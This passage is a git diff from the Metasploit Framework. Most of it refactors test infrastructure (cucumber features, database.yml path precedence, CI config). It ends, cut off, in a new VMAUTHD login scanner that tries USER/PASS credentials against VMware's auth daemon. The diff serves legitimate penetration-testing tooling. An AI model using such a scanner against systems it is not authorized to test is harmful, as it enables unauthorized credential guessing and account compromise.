diff --git a/.rubocop.yml b/.rubocop.yml index 3ae05511be..c9ba4d1bb3 100644 --- a/.rubocop.yml +++ b/.rubocop.yml @@ -39,6 +39,11 @@ Style/MethodLength: often exceed 200 lines. Max: 300 +# Basically everything in metasploit needs binary encoding, not UTF-8. +# Disable this here and enforce it through msftidy +Style/Encoding: + Enabled: false + Style/NumericLiterals: Enabled: false Description: 'This often hurts readability for exploit-ish code.' @@ -53,4 +58,22 @@ Style/StringLiterals: Style/WordArray: Enabled: false - Description: 'Metasploit prefers consistent use of []' \ No newline at end of file + Description: 'Metasploit prefers consistent use of []' + +Style/RedundantBegin: + Exclude: + # this pattern is very common and somewhat unavoidable + # def run_host(ip) + # begin + # ... + # rescue ... + # ... + # ensure + # disconnect + # end + # end + - 'modules/**/*' + +Documentation: + Exclude: + - 'modules/**/*' diff --git a/.travis.yml b/.travis.yml index 5b84af63f4..b9c5cf957c 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,3 +1,7 @@ +env: + - RAKE_TASK=cucumber + - RAKE_TASK=cucumber:boot + - RAKE_TASK=spec language: ruby before_install: - rake --version @@ -14,6 +18,7 @@ before_script: - bundle exec rake --version - bundle exec rake db:create - bundle exec rake db:migrate +script: "bundle exec rake $RAKE_TASK" rvm: #- '1.8.7' @@ -30,4 +35,4 @@ env: - RAKE_TASK=features:boot - RAKE_TASK=spec -script: "bundle exec rake $RAKE_TASK" \ No newline at end of file +script: "bundle exec rake $RAKE_TASK" diff --git a/Gemfile b/Gemfile index e4caffe5fe..4f004c509d 100755 --- a/Gemfile +++ b/Gemfile @@ -39,10 +39,6 @@ group :development, :test do # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development gem 'rspec-rails' , '>= 2.12', '< 3.0.0' - - gem 'cucumber-rails', :require => false - - gem 'aruba' end group :pcap do @@ -52,6 +48,10 @@ group :pcap do end group :test do + # cucumber extension for testing command line applications, like msfconsole + gem 'aruba' + # cucumber + automatic database cleaning with database_cleaner + gem 'cucumber-rails' gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. diff --git a/Gemfile.lock b/Gemfile.lock index 03083a2806..cfcf67342a 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -51,7 +51,7 @@ GEM arel (3.0.3) arel-helpers (2.0.1) activerecord (>= 3.1.0, < 5) - aruba (0.6.0) + aruba (0.6.1) childprocess (>= 0.3.6) cucumber (>= 1.1.1) rspec-expectations (>= 2.7.0) @@ -117,7 +117,7 @@ GEM mime-types (1.25.1) mini_portile (0.6.0) msgpack (0.5.8) - multi_json (1.0.4) + multi_json (1.0.3) network_interface (0.0.1) nokogiri (1.6.3.1) mini_portile (= 0.6.0) @@ -196,7 +196,7 @@ GEM treetop (1.4.15) polyglot polyglot (>= 0.3.1) - tzinfo (0.3.40) + tzinfo (0.3.41) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.4) diff --git a/config/application.rb b/config/application.rb index 0c3236cc7e..49657b4a04 100644 --- a/config/application.rb +++ b/config/application.rb @@ -26,30 +26,14 @@ require 'action_view/railtie' # require 'metasploit/framework/common_engine' -require 'msf/base/config' +require 'metasploit/framework/database' module Metasploit module Framework class Application < Rails::Application include Metasploit::Framework::CommonEngine - environment_database_yaml = ENV['MSF_DATABASE_CONFIG'] - - if environment_database_yaml - # DO NOT check if the path exists: if the environment variable is set, then the user meant to use this path - # and if it doesn't exist then an error should occur so the user knows the environment variable points to a - # non-existent file. - config.paths['config/database'] = environment_database_yaml - else - user_config_root = Pathname.new(Msf::Config.get_config_root) - user_database_yaml = user_config_root.join('database.yml') - - # DO check if the path exists as in test environments there may be no config root, in which case the normal - # rails location, `config/database.yml`, should contain the database config. - if user_database_yaml.exist? - config.paths['config/database'] = [user_database_yaml.to_path] - end - end + config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] end end end diff --git a/config/cucumber.yml b/config/cucumber.yml index 48c5e82eb2..e3de143513 100644 --- a/config/cucumber.yml +++ b/config/cucumber.yml @@ -1,6 +1,10 @@ -# config/cucumber.yml -##YAML Template ---- -<% common = "--tags ~@wip --strict --tags ~@targets" %> -default: <%= common %> --tags ~@boot features -boot: <%= common %> --tags @boot features \ No newline at end of file +<% +rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : "" +rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}" +std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip" +ignored_tags = "--tags ~@boot --tags ~@targets" +%> +default: <%= std_opts %> <%= ignored_tags %> features +boot: <%= std_opts %> --tags @boot features +wip: --tags @wip:3 --wip features +rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip diff --git a/features/commands/help.feature b/features/commands/help.feature index 61c7a82019..545ad3ea08 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -1,6 +1,9 @@ -@msfconsole Feature: Help command + Background: + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + Scenario: The 'help' command's output When I type "help" And I type "exit" diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature index 068213a0e1..dd8e7e91ef 100644 --- a/features/modules/exploit/smb/ms08_067_netapi.feature +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -1,160 +1,98 @@ -@msfconsole Feature: MS08-067 netapi + Background: + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + Scenario: The MS08-067 Module should have the following options When I type "use exploit/windows/smb/ms08_067_netapi" And I type "show options" And I type "exit" - Then the output should contain: - """ - Module options (exploit/windows/smb/ms08_067_netapi): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - RHOST yes The target address - RPORT 445 yes Set the SMB service port - SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) - """ + Then the output should contain the following: + | Module options (exploit/windows/smb/ms08_067_netapi) | + | Name Current Setting Required Description | + | ---- --------------- -------- ----------- | + | RHOST yes The target address | + | RPORT 445 yes Set the SMB service port | + | RPORT 445 yes Set the SMB service port | Scenario: The MS08-067 Module should have the following advanced options When I type "use exploit/windows/smb/ms08_067_netapi" And I type "show advanced" And I type "exit" - Then the output should contain: - """ - Module advanced options: + Then the output should contain the following: + | Name : CHOST | + | Description : The local client address | + | Name : CPORT | + | Description : The local client port | + | Name : ConnectTimeout | + | Description : Maximum number of seconds to establish a TCP connection | + | Name : ContextInformationFile | + | Description : The information file that contains context information | + | Name : DCERPC::ReadTimeout | + | Description : The number of seconds to wait for DCERPC responses | + | Name : DisablePayloadHandler | + | Description : Disable the handler code for the selected payload | + | Name : EnableContextEncoding | + | Description : Use transient context when encoding payloads | + | Name : NTLM::SendLM | + | Description : Always send the LANMAN response (except when NTLMv2_session is | + | specified) | + | Name : NTLM::SendNTLM | + | Description : Activate the 'Negotiate NTLM key' flag, indicating the use of | + | NTLM responses | + | Name : NTLM::SendSPN | + | Current Setting: true | + | Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow | + | authentification on windows Seven/2008r2 when SPN is required | + | Name : NTLM::UseLMKey | + | Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key | + | when the LM response is sent | + | Name : NTLM::UseNTLM2_session | + | Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a | + | NTLMv2_session | + | Name : NTLM::UseNTLMv2 | + | Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key | + | is true | + # | Name : Proxies | + # | Description : Use a proxy chain | + | Name : SMB::ChunkSize | + | Current Setting: 500 | + | Description : The chunk size for SMB segments, bigger values will increase | + | speed but break NT 4.0 and SMB signing | + | Name : SMB::Native_LM | + | Description : The Native LM to send during authentication | + | Name : SMB::Native_OS | + | Description : The Native OS to send during authentication | + | Name : SMB::VerifySignature | + | Description : Enforces client-side verification of server response signatures | + | Name : SMBDirect | + | Description : The target port is a raw SMB service (not NetBIOS) | + | Name : SMBDomain | + | Description : The Windows domain to use for authentication | + | Name : SMBName | + | Description : The NetBIOS hostname (required for port 139 connections) | + | Name : SMBPass | + | Description : The password for the specified username | + | Name : SMBUser | + | Description : The username to authenticate as | + | Name : SSL | + | Description : Negotiate SSL for outgoing connections | + | Name : SSLCipher | + | Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" | + | Name : SSLVerifyMode | + | Description : SSL verification method (accepted: CLIENT_ONCE, | + | FAIL_IF_NO_PEER_CERT, NONE, PEER) | + | Name : SSLVersion | + | Description : Specify the version of SSL that should be used (accepted: SSL2, | + | SSL3, TLS1) | + | Name : VERBOSE | + | Description : Enable detailed status messages | + | Name : WORKSPACE | + | Description : Specify the workspace for this module | + | Name : WfsDelay | + | Description : Additional delay when waiting for a session | - Name : CHOST - Current Setting: - Description : The local client address - - Name : CPORT - Current Setting: - Description : The local client port - - Name : ConnectTimeout - Current Setting: 10 - Description : Maximum number of seconds to establish a TCP connection - - Name : ContextInformationFile - Current Setting: - Description : The information file that contains context information - - Name : DCERPC::ReadTimeout - Current Setting: 10 - Description : The number of seconds to wait for DCERPC responses - - Name : DisablePayloadHandler - Current Setting: false - Description : Disable the handler code for the selected payload - - Name : EnableContextEncoding - Current Setting: false - Description : Use transient context when encoding payloads - - Name : NTLM::SendLM - Current Setting: true - Description : Always send the LANMAN response (except when NTLMv2_session is - specified) - - Name : NTLM::SendNTLM - Current Setting: true - Description : Activate the 'Negotiate NTLM key' flag, indicating the use of - NTLM responses - - Name : NTLM::SendSPN - Current Setting: true - Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow - authentification on windows Seven/2008r2 when SPN is required - - Name : NTLM::UseLMKey - Current Setting: false - Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key - when the LM response is sent - - Name : NTLM::UseNTLM2_session - Current Setting: true - Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a - NTLMv2_session - - Name : NTLM::UseNTLMv2 - Current Setting: true - Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key - is true - - Name : Proxies - Current Setting: - Description : Use a proxy chain - - Name : SMB::ChunkSize - Current Setting: 500 - Description : The chunk size for SMB segments, bigger values will increase - speed but break NT 4.0 and SMB signing - - Name : SMB::Native_LM - Current Setting: Windows 2000 5.0 - Description : The Native LM to send during authentication - - Name : SMB::Native_OS - Current Setting: Windows 2000 2195 - Description : The Native OS to send during authentication - - Name : SMB::VerifySignature - Current Setting: false - Description : Enforces client-side verification of server response signatures - - Name : SMBDirect - Current Setting: true - Description : The target port is a raw SMB service (not NetBIOS) - - Name : SMBDomain - Current Setting: . - Description : The Windows domain to use for authentication - - Name : SMBName - Current Setting: *SMBSERVER - Description : The NetBIOS hostname (required for port 139 connections) - - Name : SMBPass - Current Setting: - Description : The password for the specified username - - Name : SMBUser - Current Setting: - Description : The username to authenticate as - - Name : SSL - Current Setting: false - Description : Negotiate SSL for outgoing connections - - Name : SSLCipher - Current Setting: - Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" - - Name : SSLVerifyMode - Current Setting: PEER - Description : SSL verification method (accepted: CLIENT_ONCE, - FAIL_IF_NO_PEER_CERT, NONE, PEER) - - Name : SSLVersion - Current Setting: SSL3 - Description : Specify the version of SSL that should be used (accepted: SSL2, - SSL3, TLS1) - - Name : VERBOSE - Current Setting: false - Description : Enable detailed status messages - - Name : WORKSPACE - Current Setting: - Description : Specify the workspace for this module - - Name : WfsDelay - Current Setting: 0 - Description : Additional delay when waiting for a session - """ - - @msfconsole @targets Scenario: Show RHOST/etc variable expansion from a config file When I type "use exploit/windows/smb/ms08_067_netapi" @@ -165,5 +103,3 @@ Feature: MS08-067 netapi And I type "exit" And I type "exit" Then the output should match /spider-wxp/ - - diff --git a/features/msfconsole.feature b/features/msfconsole.feature deleted file mode 100644 index 5b60b5ed46..0000000000 --- a/features/msfconsole.feature +++ /dev/null @@ -1,47 +0,0 @@ -@boot -Feature: Launching `msfconsole` - - @no-database-yml - Scenario: Starting `msfconsole` without a database.yml - Given I run `msfconsole` interactively - And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" - When I type "db_status" - And I type "exit" - Then the output should contain "[*] postgresql selected, no connection" - - @no-database-yml - Scenario: Starting `msfconsole` with an invalid database.yml - Given a file named "database.yml" with: - """ - development: &pgsql - adapter: postgresql - database: metasploit_framework_development - username: postgres - port: 6543 - pool: 5 - timeout: 5 - production: - <<: *pgsql - test: - <<: *pgsql - database: metasploit_framework_test - """ - Given I run `msfconsole -y database.yml` interactively - And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" - When I type "db_status" - And I type "exit" - Then the output should contain "[-] Failed to connect to the database: could not connect to server" - Then the output should contain "[*] postgresql selected, no connection" - - Scenario: Starting `msfconsole` with a valid database.yml - Given I run `msfconsole` interactively - And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" - When I type "db_status" - And I type "exit" - Then the output should contain "[*] postgresql connected to metasploit_framework_test" - - - - - - \ No newline at end of file diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature new file mode 100644 index 0000000000..cc7d7224ff --- /dev/null +++ b/features/msfconsole/database_yml.feature @@ -0,0 +1,167 @@ +@boot +Feature: `msfconsole` `database.yml` + + In order to connect to the database in `msfconsole` + As a user calling `msfconsole` from a terminal + I want to be able to set the path of the `database.yml` in one of 4 locations (in order of precedence): + + 1. An explicit argument to the `-y` flag to `msfconsole` + 2. The MSF_DATABASE_CONFIG environment variable + 3. The user's `~/.msf4/database.yml` + 4. `config/database.yml` in the metasploit-framework checkout location. + + Scenario: With all 4 locations, --yaml wins + Given a file named "command_line.yml" with: + """ + test: + adapter: postgresql + database: command_line_metasploit_framework_test + username: command_line_metasploit_framework_test + """ + And a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test --yaml command_line.yml` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "command_line_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG wins + Given a file named "msf_database_config.yml" with: + """ + test: + adapter: postgresql + database: environment_metasploit_framework_test + username: environment_metasploit_framework_test + """ + And I set the environment variables to: + | variable | value | + | MSF_DATABASE_CONFIG | msf_database_config.yml | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "environment_metasploit_framework_test" + + Scenario: Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And a directory named ".msf4" + And I cd to ".msf4" + And a file named "database.yml" with: + """ + test: + adapter: postgresql + database: user_metasploit_framework_test + username: user_metasploit_framework_test + """ + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "user_metasploit_framework_test" + + Scenario: Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" exists with: + """ + test: + adapter: postgresql + database: project_metasploit_framework_test + username: project_metasploit_framework_test + """ + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "exit" + Then the output should contain "project_metasploit_framework_test" + + + Scenario: Without --yaml, MSF_DATABASE_CONFIG, ~/.msf4/database.yml, or project "database.yml", no database connection + Given I unset the environment variables: + | variable | + | MSF_DATABASE_CONFIG | + And a directory named "home" + And I cd to "home" + And a mocked home directory + And I cd to "../.." + And the project "database.yml" does not exist + When I run `msfconsole --environment test` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + And I type "db_status" + And I type "exit" + Then the output should not contain "command_line_metasploit_framework_test" + And the output should not contain "environment_metasploit_framework_test" + And the output should not contain "user_metasploit_framework_test" + And the output should not contain "project_metasploit_framework_test" + And the output should contain "[*] postgresql selected, no connection" + + Scenario: Starting `msfconsole` with a valid database.yml + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + When I type "db_status" + And I type "exit" + Then the output should contain "[*] postgresql connected to metasploit_framework_test" + diff --git a/features/step_definitions/console_output.rb b/features/step_definitions/console_output.rb new file mode 100644 index 0000000000..f394643d21 --- /dev/null +++ b/features/step_definitions/console_output.rb @@ -0,0 +1,5 @@ +Then /^the output should contain the following:$/ do |table| + table.raw.flatten.each do |expected| + assert_partial_output(expected, all_output) + end +end diff --git a/features/step_definitions/environment_variables.rb b/features/step_definitions/environment_variables.rb new file mode 100644 index 0000000000..c554ca0264 --- /dev/null +++ b/features/step_definitions/environment_variables.rb @@ -0,0 +1,20 @@ +Given /^I unset the environment variables:$/ do |table| + table.hashes.each do |row| + variable = row['variable'].to_s.upcase + + # @todo add extension to Announcer + announcer.instance_eval do + if @options[:env] + print "$ unset #{variable}" + end + end + + current_value = ENV.delete(variable) + + # if original_env already has the key, then the true original was already recorded from a previous unset or set, + # so don't record the current value as it will cause ENV not to be restored after the Scenario. + unless original_env.key? variable + original_env[variable] = current_value + end + end +end \ No newline at end of file diff --git a/features/step_definitions/project.rb b/features/step_definitions/project.rb new file mode 100644 index 0000000000..9e9ffa552a --- /dev/null +++ b/features/step_definitions/project.rb @@ -0,0 +1,14 @@ +require 'metasploit/framework/database/cucumber' + +Given /^the project "database.yml" does not exist$/ do + Metasploit::Framework::Database::Cucumber.backup_project_configurations +end + +Given /^the project "database.yml" exists with:$/ do |file_content| + Metasploit::Framework::Database::Cucumber.backup_project_configurations + write_file(Metasploit::Framework::Database::Cucumber.project_configurations_path, file_content) +end + +After do + Metasploit::Framework::Database::Cucumber.restore_project_configurations +end \ No newline at end of file diff --git a/features/support/bin/stty b/features/support/bin/stty new file mode 100755 index 0000000000..8ff68bb1c5 --- /dev/null +++ b/features/support/bin/stty @@ -0,0 +1,26 @@ +#!/usr/bin/env ruby + +case ARGV[0] + when 'size' + puts "30 134" + when '-a' + puts <; + eol2 = ; erase = ^?; intr = ^C; kill = ^U; lnext = ^V; + min = 1; quit = ^\; reprint = ^R; start = ^Q; status = ^T; + stop = ^S; susp = ^Z; time = 0; werase = ^W; +EOS + when '-g' + puts "gfmt1:cflag=4b00:iflag=6b02:lflag=200005cf:oflag=3:discard=f:dsusp=19:eof=4:eol=ff:eol2=ff:erase=7f:intr=3:kill=15:lnext=16:min=1:quit=1c:reprint=12:start=11:status=14:stop=13:susp=1a:time=0:werase=17:ispeed=38400:ospeed=38400" +end + +exit 0 diff --git a/features/support/env.rb b/features/support/env.rb index 099951a5ed..36f3884d1f 100644 --- a/features/support/env.rb +++ b/features/support/env.rb @@ -1,13 +1,31 @@ -require 'cucumber/rails' +# IMPORTANT: This file is generated by cucumber-rails - edit at your own peril. +# It is recommended to regenerate this file in the future when you upgrade to a +# newer version of cucumber-rails. Consider adding your own code to a new file +# instead of editing this one. Cucumber will automatically load all features/**/*.rb +# files. +require 'cucumber/rails' require 'aruba/cucumber' -paths = [ - File.expand_path(File.join(File.dirname(__FILE__), %w(.. ..))), - ENV['PATH'] -] -ENV['PATH'] = paths.join(File::PATH_SEPARATOR) +# Capybara defaults to XPath selectors rather than Webrat's default of CSS3. In +# order to ease the transition to Capybara we set the default here. If you'd +# prefer to use XPath just remove this line and adjust any selectors in your +# steps to use the XPath syntax. +Capybara.default_selector = :css -Before do - @aruba_timeout_seconds = 180 -end \ No newline at end of file +# By default, any exception happening in your Rails application will bubble up +# to Cucumber so that your scenario will fail. This is a different from how +# your application behaves in the production environment, where an error page will +# be rendered instead. +# +# Sometimes we want to override this default behaviour and allow Rails to rescue +# exceptions and display an error page (just like when the app is running in production). +# Typical scenarios where you want to do this is when you test your error pages. +# There are two ways to allow Rails to rescue exceptions: +# +# 1) Tag your scenario (or feature) with @allow-rescue +# +# 2) Set the value below to true. Beware that doing this globally is not +# recommended as it will mask a lot of errors for you! +# +ActionController::Base.allow_rescue = false diff --git a/features/support/hooks.rb b/features/support/hooks.rb index bcf6e5dccd..3c32dab4be 100644 --- a/features/support/hooks.rb +++ b/features/support/hooks.rb @@ -1,34 +1,5 @@ Before do - set_env('RAILS_ENV', 'test') set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first) -end - -Before('@msfconsole') do - step 'I run `msfconsole` interactively' - step 'I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp"' - # we should not see the following - # -- --=[ 0 exploits - 0 auxiliary - 0 post ] - # -- --=[ 0 payloads - 0 encoders - 0 nops ] -end - -Before('@targets') do - step 'targets are loaded' -end - -Before('@no-database-yml') do - if File.exists?('config/database.yml') && File.exists?('config/database.yml.local') - FileUtils.rm('config/database.yml.local') - FileUtils.mv('config/database.yml', 'config/database.yml.local') - elsif File.exists?('config/database.yml') - FileUtils.mv('config/database.yml', 'config/database.yml.local') - end -end - -After('@no-database-yml') do - if File.exists?('config/database.yml') && File.exists?('config/database.yml.local') - FileUtils.rm('config/database.yml') - FileUtils.mv('config/database.yml.local', 'config/database.yml') - elsif File.exists?('config/database.yml.local') - FileUtils.mv('config/database.yml.local', 'config/database.yml') - end + set_env('RAILS_ENV', 'test') + @aruba_timeout_seconds = 3.minutes end \ No newline at end of file diff --git a/features/support/stty b/features/support/stty deleted file mode 100755 index 03538c00a8..0000000000 --- a/features/support/stty +++ /dev/null @@ -1,2 +0,0 @@ -#!/bin/sh -exit 0 \ No newline at end of file diff --git a/features/support/stty.rb b/features/support/stty.rb new file mode 100644 index 0000000000..a8afb704c4 --- /dev/null +++ b/features/support/stty.rb @@ -0,0 +1,11 @@ +require 'pathname' + +support = Pathname.new(__FILE__).realpath.parent + +paths = [ + # adds support/bin at the front of the path so that the support/bin/stty script will be used to fake system stty + # output. + support.join('bin').to_path, + ENV['PATH'] +] +ENV['PATH'] = paths.join(File::PATH_SEPARATOR) diff --git a/lib/metasploit/framework/database.rb b/lib/metasploit/framework/database.rb index 4c8f99d4da..611776d3f0 100644 --- a/lib/metasploit/framework/database.rb +++ b/lib/metasploit/framework/database.rb @@ -1,14 +1,100 @@ require 'metasploit/framework' +require 'msf/base/config' module Metasploit module Framework module Database - def self.configurations - YAML.load_file(configurations_pathname) + # + # CONSTANTS + # + + CONFIGURATIONS_PATHNAME_PRECEDENCE = [ + :environment_configurations_pathname, + :user_configurations_pathname, + :project_configurations_pathname + ] + + # + # Module Methods + # + + # Returns first configuration pathname from {configuration_pathnames} or the overridding `:path`. + # + # @param options [Hash{Symbol=>String}] + # @option options [String] :path Path to use instead of first element of {configurations_pathnames} + # @return [Pathname] if configuration pathname exists. + # @return [nil] if configuration pathname does not exist. + def self.configurations_pathname(options={}) + options.assert_valid_keys(:path) + + path = options[:path] + + if path.present? + pathname = Pathname.new(path) + else + pathname = configurations_pathnames.first + end + + if pathname.present? && pathname.exist? + pathname + else + nil + end end - def self.configurations_pathname - Metasploit::Framework::Application.paths['config/database'].first + # Return configuration pathnames that exist. + # + # Returns `Pathnames` in order of precedence + # + # 1. {environment_configurations_pathname} + # 2. {user_configurations_pathname} + # 3. {project_configurations_pathname} + # + # @return [Array] + def self.configurations_pathnames + configurations_pathnames = [] + + CONFIGURATIONS_PATHNAME_PRECEDENCE.each do |configurations_pathname_message| + configurations_pathname = public_send(configurations_pathname_message) + + if !configurations_pathname.nil? && configurations_pathname.exist? + configurations_pathnames << configurations_pathname + end + end + + configurations_pathnames + end + + # Pathname to `database.yml` pointed to by `MSF_DATABASE_CONFIG` environment variable. + # + # @return [Pathname] if `MSF_DATABASE_CONFIG` is not blank. + # @return [nil] otherwise + def self.environment_configurations_pathname + msf_database_config = ENV['MSF_DATABASE_CONFIG'] + + if msf_database_config.blank? + msf_database_config = nil + else + msf_database_config = Pathname.new(msf_database_config) + end + + msf_database_config + end + + # Pathname to `database.yml` for the metasploit-framework project in `config/database.yml`. + # + # @return [Pathname] + def self.project_configurations_pathname + root = Pathname.new(__FILE__).realpath.parent.parent.parent.parent + root.join('config', 'database.yml') + end + + # Pathname to `database.yml` in the user's config directory. + # + # @return [Pathname] if the user has a `database.yml` in their config directory (`~/.msf4` by default). + # @return [nil] if the user does not have a `database.yml` in their config directory. + def self.user_configurations_pathname + Pathname.new(Msf::Config.get_config_root).join('database.yml') end end end diff --git a/lib/metasploit/framework/database/cucumber.rb b/lib/metasploit/framework/database/cucumber.rb new file mode 100644 index 0000000000..562504c88b --- /dev/null +++ b/lib/metasploit/framework/database/cucumber.rb @@ -0,0 +1,36 @@ +require 'metasploit/framework/database' + +module Metasploit::Framework::Database::Cucumber + def self.project_configurations_path + Rails.root.join('config', 'database.yml').to_path + end + + def self.backup_project_configurations + if File.exist?(project_configurations_path) + # assume that the backup file is from a previously aborted run and it contains the real database.yml data, so + # just delete the fake database.yml and the After hook will restore the real database.yml from the backup location + if File.exist?(backup_project_configurations_path) + File.delete(project_configurations_path) + else + # project contains the real database.yml and there was no previous, aborted run. + File.rename(project_configurations_path, backup_project_configurations_path) + end + end + end + + def self.backup_project_configurations_path + "#{project_configurations_path}.cucumber.bak" + end + + def self.restore_project_configurations + if File.exist?(backup_project_configurations_path) + if File.exist?(project_configurations_path) + # Remove fake, leftover database.yml + File.delete(project_configurations_path) + end + + File.rename(backup_project_configurations_path, project_configurations_path) + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb index b031eaa00e..45c661d0de 100644 --- a/lib/metasploit/framework/login_scanner/http.rb +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -88,7 +88,7 @@ module Metasploit else result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED) end - rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) ensure http_client.close diff --git a/lib/metasploit/framework/login_scanner/vmauthd.rb b/lib/metasploit/framework/login_scanner/vmauthd.rb new file mode 100644 index 0000000000..e3bc61d8c6 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vmauthd.rb @@ -0,0 +1,112 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with vmware-auth. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VMAUTHD + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 902 + LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ] + LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + service_name: 'vmauthd', + protocol: 'tcp' + } + + disconnect if self.sock + + begin + connect + select([sock], nil, nil, 0.4) + + # Check to see if we received an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/] + # Switch to SSL if required + swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/] + + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^331.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^230.*/] + # if the pass gives an OK, we're good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see 